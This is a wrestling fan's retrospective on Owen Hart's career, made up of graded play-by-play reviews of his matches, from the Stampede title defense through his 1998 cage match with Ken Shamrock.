Wrestler of the Day – May 7: Owen Hart

Today is someone who truly did die too young: Owen Hart.

Obviously Owen got his start in his dad’s company and would become the North American Heavyweight Champion. Here’s a title defense against Bad News Allen from some point in the mid-80s.

North American Heavyweight Title: Bad News Allen vs. Owen Hart

We’re joined about ten minutes in (a common practice for Stampede) with Owen hitting a flip splash for two and cranking on Allen’s neck. A legdrop gets two on Allen and Owen stomps away but gets caught in the ribs to knock him into the ribs. Hart gets two off an atomic drop and drops an elbow for the same. We hit a Boston crab on Allen as this has been one sided so far.

Allen powers out and hammers away but a single uppercut drops him for two. The announcer tells us that Owen was dominated the first few minutes of the match but has been in full control ever since. A tombstone plants Allen but he gets his knees up to block a top rope splash. Allen comes back with a slam but gets tossed off the top. Hart nips up but gets caught by a belly to belly suplex. The fans are entirely behind Owen here and he comes back with a spinning cross body off the top but Makhan Singh (a monster) comes in for the DQ.

Rating: C+. Nice match here with Owen’s high flying being complimented by some surprising power. Allen was on defense far more than I was expecting here and the inconclusive ending keeps the door open for a rematch before Owen goes after Singh, which would be a huge feud.

Owen would head to the WWF soon after this and be put under a mask as the Blue Blazer, a superhero. From Superstars in 1988.

Barry Horowitz vs. Blue Blazer

The Blazer backflips into the ring and actually impresses Ventura. A springboard hiptoss puts Barry down and an armdrag sets up an armbar. Vince: “Jesse your career was mediocre at best.” Jesse: “At least I had one.” Barry comes back with a running knee to the ribs and a knee drop for two but the Blazer gets the same off a cross body out of the corner. A missile dropkick sets up a belly to belly which sets up a moonsault to pin Horowitz. Too short to rate but the Blazer looked AWESOME.

The Blazer would face newcomer Mr. Perfect at Wrestlemania V.

Mr. Perfect vs. Blue Blazer

That would be Owen Hart in a kind of superhero gimmick that eventually led to his death. Perfect is pretty new here too and I believe is debuting his singlet look. Hennig hits a quick hiptoss that doesn’t do much at all. Blazer blocks a slap and takes Perfect down to stagger Hennig a bit.

They slightly botch a flip out of a hiptoss and Blazer dropkicks Perfect to the floor. Blazer hits a quick hiptoss (why is that so popular here?) of his own and a dropkick for no cover. A modified northern lights suplex gets two for Blue but a top rope splash hits knees. Off to a reverse chinlock for a few moments by Perfect but Blazer fights up and hits a standing powerslam and a belly to belly for two each. A crucifix gets two more but Blazer spends too long arguing with the referee and the PerfectPlex ends this clean.

Rating: C+. This match is popular for some reason but it’s only pretty good. Owen would get to show off a lot better later on and the Blazer gimmick didn’t stick around that long. The ending here was clean too which is what Perfect would get quite often around this time. He wouldn’t really do anything of note for about a year though until having a house show feud with Hogan.

After doing very little in 1990, Owen would head to WCW for a short run in 1991, including this match on Worldwide on March 30, 1991.

Owen Hart vs. Pat Rose

Some hiptosses and armdrags set up a dropkick to send Rose to the mat. Rose cranks on Owen’s arm but Hart does the spin up to take over. The springboard hiptoss followed by a gutwrench suplex have Pat in even more trouble. Owen enziguris him down and it’s a missile dropkick into a bad looking top rope spinning cross body to complete the squash.

Owen would head back to the WWF in 1992 and hook up with Jim Neidhart as New Foundation. They had a match at Royal Rumble 1992.

Orient Express vs. New Foundation

It’s Owen/Neidhart as the Foundation here. Owen and Kato start thing off here. All four guys look like they’re in pajamas here. Owen takes him down to the mat by the arm before climbing up the ropes (not in the corner mind you but just the ropes) to backflip into the ring for an armdrag. A rana puts Kato down and it’s off to Neidhart vs. Tanaka. Tanaka gets run over as well, so here’s Owen to beat him up.

Tanaka gets caught by an enziguri and it’s back to Neidhart. The Express gets clotheslined down by Jim and Owen adds a double cross body for two. A spinwheel kick gets the same for Hart so Kato tries to come in sans tag. The distraction lets Fuji hit Owen with the cane to finally give the Express control. Tanaka hooks a chinlock as this isn’t exactly as fast paced as last year’s opener.

Owen gets to do Bret’s chest to the buckle bump before charging into a superkick in the other corner for two. After Kato comes in and does nothing, here’s Tanaka again for a headbutt to the abdomen. A chinlock goes nowhere but a headbutt gets two on Owen. Neidhart gets the tag but the referee doesn’t see it of course. The distraction allows Fuji to put the cane on the corner and Owen’s shoulder goes through it in a loud crunch.

It only gets two though as Owen gets a leg over the rope. Kato channels his inner Anderson with a hammerlock slam before it’s back to Tanaka. Owen finally escapes and things break down for a bit, resulting in a double clothesline for two on Hart. A superkick to the chest doesn’t put Owen down, but Tanaka jumping over Kato to land on Hart’s back does. Hart comes back with a dropkick to take out both members of the Express at once. There’s the hot tag to Neidhart and house is cleaned. Owen dives onto Kato before a Rocket Launcher gets the pin on Tanaka.

Rating: B-. Decent match here but it felt like they were trying to do the same match that worked so well in 1991. The problem was the Express wasn’t anything that good anymore and the team was gone almost immediately after this. Either way, the match wasn’t bad and it’s fine for an opener. The New Foundation never quite did anything until 1994 when Owen was a heel.

Later in the year, Owen would start teaming with his brother Bret as an occasional tag team. From November 14, 1993.

Bret Hart/Owen Hart vs. Well Dunn

It’s Timothy Well and Steven Dunn because the WWF was stupid in this era. Dunn and Owen get things going with Steven easily being taken to the mat. Off to Bret who hammers away on the arm. JR and Heenan talk about Jerry Lawler getting destroyed at the Survivor Series, though this was probably taped well in advance of the change to the match. Well comes in and gets hammered by both Harts with Owen working over the arm. Dunn makes a blind tag and clotheslines Owen down before choking away.

We take a break and come back with Owen in a chinlock. That of course doesn’t last long as Heenan talks about Owen being tied up on a leash when the Hart Family dog ran away. Owen cleans house and dives over for a tag off to Bret. Everything breaks down and the Five Moves of Doom take care of Dunn for the submission.

Rating: D+. This was exactly what you would expect which means it was rather dull. Well Dunn stuck around for awhile and never got past this level. To be fair though, when your name makes Pretty Wonderful look good, you can’t really expect to get that high up on the card. Nothing match.

Next up is Wrestlemania X, due to all of the issues with the Hart Brothers and Owen thinking he was stuck in Bret’s shadow. This is Owen’s crowning achievement.

Owen Hart vs. Bret Hart

For reasons I’m not clear on, the Fink isn’t the announcer tonight. They lock up to start and Owen shoves Bret away, earning himself some celebrating. Bret takes him down to the mat but Owen escapes and celebrates again. Back to the mat for some amateur stuff but Owen grabs the rope. Owen tries to take it to the mat but Bret easily counters to send him out to the floor. Back in and Owen slaps him in the face to fire up his older brother.

More amateur stuff ensues and Owen gets to do his spinning counter to a wristlock, only to pull Bret down by the hair. Bret channels his inner Shawn and nips up before getting two off a rollup. Bret takes over with an armbar and a clothesline to send Owen out to the floor. Back in again and Bret slaps the blonde Hart before rolling him up for two. Bret hooks the armbar again before getting two off a crucifix. We’re about five minutes into this now and there is absolutely nothing to complain about. They get up again and Owen hits a sweet spinwheel kick to take over before stomping Bret to the floor.

Owen rams Bret back first into the post as the anger is starting to seep out. A backbreaker sets up a camel clutch back inside as Lawler is loving this. Owen yells at his brother in a great touch to the evilness. Bret breaks it pretty quickly but walks into a belly to belly suplex for two. A cross body by Owen is rolled through by Bret for two but Owen goes straight to the back again. Owen hits a German suplex for two and drops a leg on the back of Bret’s head for two more.

Bret tries to spin out of a suplex but gets caught in a tombstone. Owen goes up top but misses a swan dive, giving Bret the breather that he’s been needing. Bret starts firing back and gets two each off a clothesline and a Russian legsweep. There’s the backbreaker followed by the middle rope elbow for two more. It’s Sharpshooter time but Owen pops up and hits the enziguri to put Bret down.

Another Sharpshooter attempt is countered by Owen and a rollup gets two on Bret. This is very fast paced stuff. Owen heads to the floor and we get LUCHA BRET as he takes out his brother. He hurts his knee in the process though and Owen is very happy. Back inside and Owen goes for the leg, wrapping it around the post a few times because that’s what villains do. Off to an inverted Indian Deathlock by Owen but he lets it go before too long.

There’s a yet to be named dragon screw leg whip followed by a Figure Four (wrong leg of course) as Bret is in big trouble. Bret reverses and rolls into the ropes to break the hold but his knee is gone. An enziguri finally puts Owen down and buys big brother a breather. A headbutt puts Owen down again and there’s the chest first into the buckle bump for Owen. A bulldog gets two on Owen as does a sweet piledriver.

There’s a superplex for a delayed two as Jerry Lawler is freaking out. A sleeper is quickly broken up by a hidden low blow from Owen and it’s time for the Sharpshooter on Bret. The older Hart slaps the mat but it doesn’t mean anything yet. Bret reverses into a Sharpshooter of his own but Owen is right in front of the ropes. Owen charges into a boot in the corner so Bret loads up a rollup, but Owen counters into a cradle for the 100% clean pin.

Rating: A+. If there’s a better opening match anywhere, I’d love to see it. This was Owen’s coming out party and he looked excellent in doing it. Bret has no shame in losing here as he didn’t so much get beat as much as he got caught. This set up a great feud over the summer for the title between these two, but it never reached this level again. There was some DEEP psychology going on out there with Bret being hesitant to fight his brother and Owen using the advantage to catch Bret in a wrestling move, all on top of the leg injury. Excellent match and one of the best ever.

Owen was officially on a roll as he entered the 1994 King of the Ring. Here’s the final.

King of the Ring Finals: Owen Hart vs. Razor Ramon

Like I said, the finals were about as predictable as you ever could imagine. Only the Harts can manage to make pink look cool. I think Razor has worn different color tights in every match which someone always does. Ok, right there, Razor shows that he’s at least somewhat intelligent as he does something very smart. Owen goes for a crossbody and Razor was supposed to catch him for the fallaway slam that he does.

They botch it as Owen either doesn’t get high enough or Razor couldn’t get him up enough, but one way or another they messed it up. So what does Razor do? Does he complete the spot anyway but make it look like crap? Nope, instead he sets Owen down and does a regular slam. See, that right there is what you call intelligence and being on your game in a match. See, if they had done the spot anyway, it would have looked bad.

Instead we get a much more basic, yet still completely believable and FAR better executed spot that worked just as well. Razor was smart there and it made things look much better. That’s a great sign. In kind of a tell tale sign, we can see the announcers and Gorilla and Savage are looking down at the monitors as most commentators do while Donovan is looking at the ring.

If nothing else he’s trying. I can’t fault Donovan for not trying. He’s done what he could all night, but it just isn’t working. He’s simply too old and confused here without having enough on camera presence to pull this off. I will say this though: he doesn’t sound bored or miserable about being there, which makes up for a lot. I’ve said this many times: if you don’t want to be there, leave.

The best example of a guy that clearly wanted to be there and was having a lot of fun doing this is Ray Combs from Survivor Series 93. He was a horrible announcer with some of his jokes and misunderstanding of the rules, but dang he was having a blast out there and he didn’t get in the way of the match at all. That’s how you do guest commentary. He added stuff where he could and he made the match a bit more fun.

The key though: he was having a good time, or at least made you believe he was. That’s all I ask. Owen puts on an abdominal stretch and two things come to my attention. First of all, he grabs the rope for additional leverage. The thing is, to me it looks like that’s taking pressure off of Razor. Owen is less than a foot from the ropes as he doesn’t even have to extend his arm to get to them, so how much help is that giving him?

Also, in something that actually made me laugh out loud, he hooks the toe around Razor’s leg which is the common criticism from Gorilla. Ok, so for once we have the perfect abdominal stretch. Gorilla should be happy right? I quote, “This is a mistake by Owen because this hold isn’t going to work on a guy like Razor no matter how well you put it on.” It’s official: Monsoon can never be satisfied, period.

He spends nearly 20 years complaining about no one ever hooking the leg around and the first time anyone does, the hold is worthless anyway. That’s just awesome on about a million levels. After Razor makes his comeback, Jim Neidhart makes his second run in of the night and beats up Razor. A top rope elbow from Owen gives him the win. A Hart Attack follows and Owen is crowned King. He names himself the King of Harts which was his nickname for a very long time.

Rating: C+. Eh, this was ok I guess. Both guys were a bit tired, but the biggest problem was that I don’t think anyone believed that Razor was going to win this. It was always going to be Owen and that was clear for weeks leading into this. The match was ok enough but it still wasn’t great. For a final though with a given ending, this was ok. Both guys were fairly sharp in the ring, so I’ll let this one get by. It wasn’t great, but I’ve seen far worse matches.

Owen would pick up the feud with Bret again at Summerslam 1994.

WWF World Title: Bret Hart vs. Owen Hart

It’s escape only to win. Owen jumps him as soon as Bret is inside the cage, raining down right hands in the corner. Bret comes back with an atomic drop and a clothesline as their parents are watching in the front row. Owen pulls Bret down as he tries to climb out before going for a climb of his own. Bret pulls him back down and goes for the door, only to be pulled back in as well. We’re still very early in the match at this point.

Bret keeps lunging for the door but Owen keeps pulling him back in. They swap the roles for the next turn but Owen still can’t escape. With the door closed Bret tries to climb out, only to be slammed off the cage wall. Owen climbs up and manages to get all the way out but he can’t get down on the floor before Bret makes a save. Owen is pulled back in and they fight on the top rope with Bret being knocked back into the ring. Instead of climbing out again though, Owen dropkicks Bret down and climbs again.

The champion makes another save before climbing up to the top of the cage, straddling the top of it. Owen pulls him back in and they continue slugging it out on the top rope. Bret rams him into the cage wall but loses his balance in the process, putting both guys back down. Jim Neidhart and Davey Boy Smith, both brothers in law of the two in the ring, are watching in the crowd.

Bret punches Owen down again and drops an elbow but Owen makes another save. This time as Bret comes down though, he slams his knee into the mat to put him in real trouble. Neidhart, who has since turned on Bret and sided with Owen, is very pleased. Even though Bret is down, he isn’t down enough to stop Owen from leaving. He gets slammed down off the cage but Owen grabs a climbing Bret’s leg, pulling him back inside.

Owen is up first but Bret makes about his 49th save of the match. Bret rams him face first into the steel and goes up again but Owen reaches through the bars to bring him back in. Back in again and Owen plants the champion with a piledriver but Bret still makes a save. Owen throws Bret down off the cage but Owen falls as well. Bret crawls for the door and gets the upper half of his body out, only to be pulled back in again by his younger brother. The drama on these near escapes is getting higher and higher.

Back in and Bret slingshots his brother into the cage, rattling his brains even more. They both slowly get up and Owen is rammed face first into the cage. The problem is that as Bret rams him in, Bret rams his knee into the cage and injures it. The champion tries to get out but can’t climb that fast, allowing Owen to make ANOTHER save. Owen makes another attempt to get out but his exhaustion slows him down and lets Bret stop him.

They slug it out on the top rope with both guys being rammed face first into the cage. Bret knocks Owen down but gets pulled back down as well. A double clothesline puts both guys down one more time and it’s Owen going up first. He climbs to the corner though, allowing Bret to catch up with him and superplex Owen off the top of the cage. Bret crawls for the door but Owen makes the save and puts on the Sharpshooter.

There aren’t any submissions in the match but it can make it impossible for Bret to climb. However Bret, the master of the Sharpshooter, counters into one of his own and Owen is in trouble. Bret goes for the escape but he STILL can’t keep Owen down long enough. They ram each other into the cage and both fall down before Owen climbs again. Both guys climb to the outside and it’s a race to the bottom. Owen is rammed into the cage though and gets his legs caught in the cage bars, allowing Bret to drop down and retain the title.

Rating: A+. This match was all about drama and they certainly gave us that. The match ran over half an hour and had nothing but near escapes the entire time. Bret didn’t so much win this match as he did survive it. This match has been called the last great cage match and it’s really hard to argue with that. Excellent match with great drama throughout.

Post match Neidhart jumps Davey Boy, throws Bret back in and locks himself in with them. A huge beatdown of Bret ensues as the Hart Brothers try to get in the cage. Davey Boy FINALLY gets in and the other brothers follow to save Bret.

In the back Owen says Neidhart is his real family. A series of great tag matches followed.

And this is one of them.

Bret Hart/British Bulldog vs. Owen Hart/Jim Neidhart

Ok, this HAS to be good right? Bret is world champion here so this is probably around August of 94 as that was the top feud around that time. Still in Albany and likely at the same show. Apparently this was October 19, 1994. I’ve always wondered which shows they picked to film and how they were chosen. Bret and Owen start so we’re guaranteed a good start at least. Granted after that last match anything sounds great.

I love Owen celebrating while doing absolutely nothing. Lots of chain wrestling to start as you would expect. Bret works on the arm and gets a crucifix for two. They speed it up a bit and Bret gets a clothesline to put Owen on the floor. Back in and Bret taunts Neidhart, saying he wants the Anvil.

Now here’s a match I don’t think I’ve ever seen. Bret tries his usual stuff but Anvil catches him in a bear hug. Hart bites Anvil’s head to escape and it’s time for power vs. power. Ok never mind as it’s time for Owen vs. Bulldog. They’re getting in and out of there rather fast. Stan Lane continues to be underrated at the announce table. Owen gets caught in the semi-delayed vertical for two.

We hit the chinlock again even though I thought we had hit the quota of chinlocks in the first match. Spinwheel kick puts Bulldog down for two and it’s back to Anvil who puts on a chinlock of his own. The fans are chanting for Owen actually. Owen comes in again and drills Bulldog with some European uppercuts in a nice bit of irony. Shawn Killer Kick makes Smith flip forward and the double teaming commences.

Neidhart back in there now as the heels are working well together here. Bret chases Owen but the referee stops him. This stopping though allows the New Foundation (Owen and Neidhart of course) to hit a Hart Attack on Bulldog for two. Neckbreaker by Owen gets two and we hit the chinlock one more time. This is very much a stop and go kind of match as they’ll get going and then stop for a chinlock etc.

Bulldog fights up and they hit head to head. There’s a tag to Hart but Neidhart had the referee distracted. Heel miscommunication puts Anvil down and there’s the tag to the champion. He beats up both guys while Bulldog just watches on. What a nice partner he is. Russian Leg Sweep gets two on Owen and it’s Five Moves of Doom time. He actually gets the Sharpshooter but Neidhart makes the save. Off to the Bulldog again and everything breaks down. Bulldog gets a small package, Neidhart turns it over, Bret turns it over again and Bulldog pins Owen to end it.

Rating: B-. If you cut out a lot of the rest holds and give it a bit better ending then this would be a much better match. Still though not a bad match at all and I thought it was pretty good. With these four it’s hard not to have a good match. Neidhart was the worst of these four but he’s certainly watchable in the ring. Decent match but could have been much better.

Owen would get away from Bret and the Harts soon after this and enter Wrestlemania XI with a Tag Team Title shot. His partner was announced at the show.

Tag Titles: Owen Hart/??? vs. Smoking Gunns

Owen introduces Yokozuna as his mystery partner. The Gunns are defending here and say they’ll win. Owen and Billy start things off with Hart trying to speed things up. That goes badly for him as Billy slaps him in the face and brings in Bart to work on the arm. Owen fights back though and brings in Yoko who misses an elbow drop. Back to Owen as we’re firmly in the Colossal Connection formula (Owen does the wrestling, Yoko comes in for a few seconds to destroy whoever he’s fighting).

The Gunns hit a double legsweep on Hart and a double flapjack gets two. Owen finally escapes a backdrop attempt and brings in Yoko. Billy gets taken down and sat on, giving the foreigners control. Off to a nerve hold which hopefully doesn’t last as long as the ones last year did. After we kill a minute or so in the hold, Owen loads up a missile dropkick but hits his partner by mistake. There’s the hot tag to Bart and house is cleaned, but Billy walks into a belly to belly suplex. The Banzai Drop hits but Bart breaks up the pin. Not that it really matters though as Owen covers Billy for the pin and the title, Owen’s first in the company.

Rating: C-. Another decent but lackluster match here which is the theme of this show. The Gunns losing was definitely the right call as Owen and Yoko made for dominant champions for several months. Other than that though, the match was boring stuff overall. Owen finally getting a title was a good moment though.

Later in the year Owen would kick Shawn Michaels in the head and put him on the shelf. Shawn’s friend Diesel came for revenge at In Your House V.

Diesel vs. Owen Hart

This is a revenge match for Diesel as Owen kicked Shawn Michaels in the head and put him on the shelf as a result. Diesel launches Owen into the corner to start and hits a big side slam for no cover. The arena is full of smoke from Diesel’s entrance. Owen comes back with some right hands but Diesel easily throws him to the outside for a meeting with Cornette.

Back in and Owen scores with a missile dropkick before going after Diesel’s knee to take him down. A spinwheel kick gets two on Diesel but he easily kicks Hart away to break up a spinning toe hold. Diesel comes back with a big boot and the Jackknife (“This is for you Shawn!”) but he takes his foot off Owen’s chest at two. The referee begs him to let it end so Diesel shoves him down for the DQ.

Rating: D+. The match was going along pretty well until the stupid ending. I understand that they’re trying to push Diesel as being more aggressive, but having him lose isn’t the way to go about doing that. This is Diesel’s third straight PPV loss which doesn’t make me think he’s a monster but rather a guy who can’t finish his opponents.

Owen would find a new partner and get another Tag Team Title shot at In Your House X.

Tag Titles: Owen Hart/British Bulldog vs. Smoking Gunns

The Gunns are defending and the challengers have no Cornette with them due to the beating he received earlier. We see Cornette in the back with attorney Clarence Mason having him sign something. Also I have no idea why Owen left ringside after the previous segment when his match was next. Billy walks behind Bart with his arm around Sunny which probably isn’t a good sign. Sunny had a tradition of having a huge poster of her fall down from the ceiling but this time the challengers have painted a beard on it. Nice touch.

Clarence Mason comes to ringside, apparently replacing Cornette for tonight. Owen hits a few cross bodies for two each on Billy before it’s off to a headlock. A small package gets two more for Owen as JR is still playing the heel on commentary, ensuring Vince that the REAL Diesel and Razor are back. Remember that line because it becomes important in a few months.

Off to Bart vs. Davey with the Bulldog hitting a few dropkicks to take over before cranking his arm for a bit. Owen comes back in for a chop block as the target shifts to Bart’s knee. Owen and Bulldog take turns working on the leg with Owen putting on a modified Indian deathlock. A Boston crab doesn’t last long as Bart quickly makes the rope but Bulldog comes in for a vertical suplex to put him down again. Bulldog even throws in a front flip to show off his athleticism a bit.

Back to Owen for more leg work but his spinning toe hold is countered into a small package for two. Owen comes right back with an enziguri for two of his own but Billy finally interferes, pulling Bulldog out to the floor and sending him into the steps. Back in and Bart is able to make the tag off to Billy. The champions take over but Billy almost immediately tags back to Bart.

The Sidewinder connects but Mason distract the referee, allowing Owen to come in off the top with a shot to the back of Bart’s head. Bulldog can only get two though and it’s back to Billy who again only hits a few stomps before tagging out to the weakened Bart. Bart loads up a powerslam on the Bulldog but gets rammed into Billy who wasn’t paying attention. Davey hits the real powerslam for the pin and the titles.

Rating: D+. The title change was the right idea but this was one of the longest eleven minute matches I’ve ever seen. Both teams were heels here so the fans didn’t have anyone to cheer for and the Gunns were boring in the first place. It wasn’t terrible but the match didn’t do anything for me at all.

Hart would join up with his brother again, setting up the Border War. This story saved the company in 1997 and here’s the blowoff from In Your House XVI.

Hart Foundation vs. Goldust/Legion of Doom/Ken Shamrock/Steve Austin

Most of the Americans are booed, but Austin is treated like a bunch of ants at a picnic. The Hart Foundation’s entrance on the other hand is a sight to behold, with each member getting a louder and louder ovation until Owen’s music stops. Bret’s reception is louder than everyone else’s and that’s before his music even comes on. The Harts are a unit, all clad in leather jackets and looking like they’re ready for war.

The match starts with the only possible combination of Austin vs. Bret. They slug it out with Bret taking over and pounding Austin down into the corner to send the crowd even further into a frenzy. Austin comes back with right hands and might as well be pummeling Santa Claus. Bret hits a headbutt and clothesline before raking Steve’s eyes across the top rope. Austin kicks Bret low to slow him down and stomps on him in the corner before slapping on the Million Dollar Dream. Hart climbs the ropes for a rollup for two, which is the same way he beat Austin at Survivor Series.

Bret drags Austin to the corner for a tag off to the raw power of Jim the Anvil Neidhart. Austin takes him down with a Thesz Press and right hands before bringing in Shamrock to easily kick Neidhart down. Pillman comes in to break up an ankle lock attempt so Shamrock takes Neidhart down with ease again. Brian comes in legally now to bite Shamrock’s face and fire off chops in the corner. A backbreaker puts Shamrock down again so Pillman grabs his hand and slaps the mat, claiming a submission victory in a funny bit.

Ken comes back with a nice belly to belly suplex and it’s off to Goldust vs. Owen. Goldust scores with a backdrop but Owen comes right back with an enziguri to take over again. The fans are all over Austin here, even though it’s Hawk in to beat Owen up. A top rope splash gets two but Hawk misses a dropkick, allowing Owen to put on a Sharpshooter. Anvil makes the save, only to have Bulldog come in with the delayed vertical suplex and the powerslam but Goldust makes a save.

Bret comes back in (crowd erupts) to face Animal and gets up a knee in the corner to slow Animal down. Off to Goldust who is immediately tied up in the Tree of Woe and quintuple teamed, drawing in the rest of the Americans for the save. Owen comes in legally but misses a charge into the post, allowing for the tag off to Animal. Owen is fine with that and hits an enziguri followed by a missile dropkick to fire up the crowd even more. Animal will have none of that and counters a hurricanrana into a powerbomb.

The Doomsday Device hits Owen but Anvil makes the save, drawing in all ten guys for a huge brawl. In the melee, Austin wraps Owen’s knee around the post and hits it with a chair before beating up Bret and Owen’s brother Bruce, who is sitting with the rest of the Hart Family in the crowd. Things calm down with Anvil vs. Austin as medics come out to check on Owen. Neidhart sends Austin into the corner for a big beating and Owen is being taken to the back.

Pillman comes in but gets dragged over to the American corner and taken down by a Stunner. Bret makes the save by wrapping Austin’s leg around the post and blasting it with a fire extinguisher. He throws on the Figure Four around the post until Hawk makes the save but the damage has been done to the leg. Austin is able to tag in Hawk but Bulldog crotches Hawk on the top rope to take him down again. Austin limps to the back again, leaving us with just four guys per team in the match.

Neidhart and Animal have a test of strength with Jim taking over and driving Animal into the Hart corner for a tag off to Bret. The original Hart Foundation (Bret and Neidhart) take over on Animal to give the crowd a nostalgia pop. Shamrock comes in again and grabs Bret’s leg but just stands there, allowing Pillman to sneak in with a clothesline. Shamrock grabs the leg again but Bret gives him a stern lecture from the mat, which actually makes Ken let him up. I wish I could make that up.

Bret sends Shamrock to the floor where Pillman throws him over the French announce table. Back inside and it’s Bulldog slugging Shamrock down in the corner to send the crowd right back into a frenzy. Ken hits him low, allowing Goldust to come in with a bulldog to the Bulldog, but Pillman breaks up the Curtain Call. Goldust goes up but gets crotched, allowing Bulldog to superplex him down.

Austin stumbles back out to the ring and it’s a double tag to bring in Bret vs. Stone Cold. Bret is sent chest first into the buckle and suplexed down for two, only to come back with a DDT. A backbreaker and the middle rope elbow are good for two and it’s off to a sleeper hold. Austin jawbreaks his way to freedom but has to have Animal save him from the Sharpshooter.

Now it’s Austin putting Bret in the Sharpshooter but Owen comes back out for the save. Owen comes in legally but gets clotheslined out to the floor and stomped against the barricade. Austin goes after the other Hart Brothers at ringside but Bret makes the save and sends Austin back inside so Owen can roll him up for the pin, sending the roof into orbit.

Rating: A+. Do I really need to explain this one? Not only is it a great match with everyone working very hard, but it’s a great story and the perfect way to blow off the feud. Austin could have been in there with any four guys, but the match ended perfectly and gave Owen a big rub in the process. Excellent match and the best multi-man tag match of all time.

The fight continues post match with the Harts cleaning house thanks to their brothers coming in to help out. The Americans are finally dispatched as the Harts are announced as the winners. Austin eventually tries to charge back in for one last swing at Bret but literally about 15 members of the Hart Family beat him down until security takes him away in handcuffs. Austin, ever the rebel, flips off the Calgary crowd behind his back as he leaves. A huge celebration with all of the Harts, including parents Helen and Stu, ends the show.

Owen wouldn’t be done with Austin and would start a feud with him for the Intercontinental Title. After pretty much breaking Austin’s neck (and still getting pinned by him), Owen would enter a tournament for the vacant Intercontinental Title. Here are the finals at In Your House XVIII.

Intercontinental Title: Owen Hart vs. Faarooq

This is a tournament final to crown a new champion since Austin has to forfeit the title. Owen has an Owen 3:16 shirt, with “I Just Broke Your Neck” on the back. Before the match, here’s Austin to do commentary. This might not be the best idea given that he and Pillman were best friends. Austin rings the bell as Vince freaks out, so Austin takes his headset.

JR and Jerry can barely get a word in as Austin rants about Owen using the 3:16 shirt for cheap heat. Austin steals Lawler’s headset as Faarooq grabs a headlock. The boring match drags on as Austin has a walkie-talkie to mess with security. He knocks JR’s hat off as Owen spinwheel kicks Faarooq down and goes after the knee. Austin jumps on Spanish commentary and doesn’t like the trash he thinks the commentators are saying about him.

Owen stomps away in the corner and Austin has switched to French. Faarooq kicks Owen shoulder first into the post and gets two off a backbreaker. He misses a middle rope legdrop though and Owen goes after the leg. The Sharpshooter is broken up again and Faarooq gets another near fall off a powerslam. Jim Neidhart comes to ringside but Austin uses the distraction to knock Faarooq out with the title, giving Owen the title.

Rating: D. The match was just a backdrop for Austin’s antics and the ending would make more sense after the explanation. The idea was simple: Austin wanted the Intercontinental Title back, but he only wanted to beat Owen for it to prove he was the better man once and for all. Owen and Faarooq weren’t great out there, but there was only so much they could do in these circumstances.

Then Montreal happened and Owen was suddenly a face. His first feud was with HHH, setting up this very interesting moment on Raw, January 26, 1998.

European Title: Owen Hart vs. HHH

HHH has a horribly messed up leg. And it’s Goldust and Luna disguised as HHH and Chyna, fooling no one. Hunter-dust (not calling him that again) beats up Owen for awhile and then pulls the wig off to reveal his blue hair. Owen gets a spinning cross body off the top out of nowhere to get two. It’s weird seeing someone else doing HHH’s stuff. We hit the chinlock as this has been mostly one sided. Owen gets a cradle for two. We take a break with Goldie working over the knee.

Back with Owen making his comeback with spin kicks and kicks/punches in the corner. Enziguri knocks Dustin’s fake nose off which was kind of funny. Owen goes up and hits the dropkick but Luna drills him with the crutch to break the momentum. Pedigree is countered into the Sharpshooter for the tap.

Rating: C+. Basic match here between two talented guys. The HHH vs. Owen feud would run up to Mania and it still never was fair to Owen in the slightest as he would wind up in the black supremacist stable somehow. That sounds like something off Arrested Development. Anyway, this was fine and not bad all things considered.

Post match we see DX talking about how smart they are and bragging about the whole thing. Owen is mad about this. Was he fooled or something and this is the big shock? Slaughter comes out to talk to Owen. He grabs a mic and says that Goldust was playing the role of HHH which the future Game agrees with. Slaughter says that Goldust did such a great job that Slaughter is awarding Owen the match, a win against HHH, and the European Title! DX is TICKED of course but Owen gets the last laugh.

Owen would lose the feud with HHH for no apparent reason before joining the Nation of Domination to find a new family. He would fight one of their enemies, Ken Shamrock, in a very interesting match at In Your House XXIII.

Ken Shamrock vs. Owen Hart

There isn’t much of a backstory here other than they’ve both won King of the Ring and Owen challenged Shamrock to a fight. This is a submission match in Stu Hart’s basement, more commonly known as the Dungeon. Shamrock’s entrance is through a door from what looks like the kitchen, giving this a very low rent feel but in a good way. Dan Severn, former UFC Champion and rival of Shamrock (though he doesn’t like Owen either) is referee.

Owen takes him down to start but Shamrock reverses and pounds away with right hands. Shamrock throws him around and slams Owen against the wall, only to be kicked low and then in the face. Owen rams him head first into the wooden wall before suplexing him down. Ken reverses and slams Owen’s head into the wall but Hart grabs a water pipe to pull himself up for a hurricanrana. Owen swings a dumbbell at Ken’s head but gets kicked back into the corner. Ken Irish whips him into the wall and tries the same hurricanrana using the water pipe but Owen powerbombs him down.

In a spot you don’t see that often, Owen lifts him and rams Shamrock’s head through the ceiling to set up the Sharpshooter. Ken rolls through but can’t hook the ankle lock. Instead he fires off a kick which accidentally takes out Severn, allowing Owen to hit Shamrock with a dumbbell to knock him cold. Owen puts on a kind of armbar and slaps Shamrock’s hand on the mat for a submission with Severn waking up in time to see it, giving Hart the win.

Rating: C+. This was different to put it best and in this case it worked. The match was kind of a hybrid between MMA and a stiff wrestling match and it came off pretty well. MMA hadn’t hit the mainstream yet so this wasn’t something most people had seen before. It was very clear that this was pre-taped and edited due to the people being in slightly different places after some camera cuts but that’s not the worst thing in the world.

Owen celebrates and walks up the stairs like he’s probably done a thousand times. That’s cool in a unique way.

Here’s another odd rematch with the same opponent at Summerslam 1998.

Owen Hart vs. Ken Shamrock

This is in a theater adjacent to MSG. You win by submission or knockout I believe but JR isn’t really clear on it. It’s a cool visual if nothing else. Shamrock rams him into the cage before taking him down to the mat where we start trading submissions. Ken pounds away at the head and suplexes Owen down before choking away. Owen hits a legal low blow to escape but Shamrock clotheslines him down with ease. I think that passes the point of logical no selling.

Shamrock chokes Owen with his shirt before taking him down with an easy throw. Owen finally realizes he can’t go toe to toe with Ken and rams him face first into the cage. Hart pounds away against the cage and lays Shamrock out with an enziguri. A hot shot into the cage sets up a backbreaker but Shamrock backdrops out of a piledriver. Another kick to Ken’s head changes control again but Shamrock wins a quick slugout. He runs up the cage for a back elbow then kicks Owen in the face.

Hart comes right back with a powerslam and a belly to belly sets up the Sharpshooter. In an awesome counter, Shamrock crawls over to the cage and pulls himself up the wall to escape the hold. A tornado DDT off the wall puts Owen down and a spinwheel kick does the same. Owen sends him into the cage and tries a dragon sleeper but Shamrock walks up the cage to backflip out and the ankle lock gets the submission.

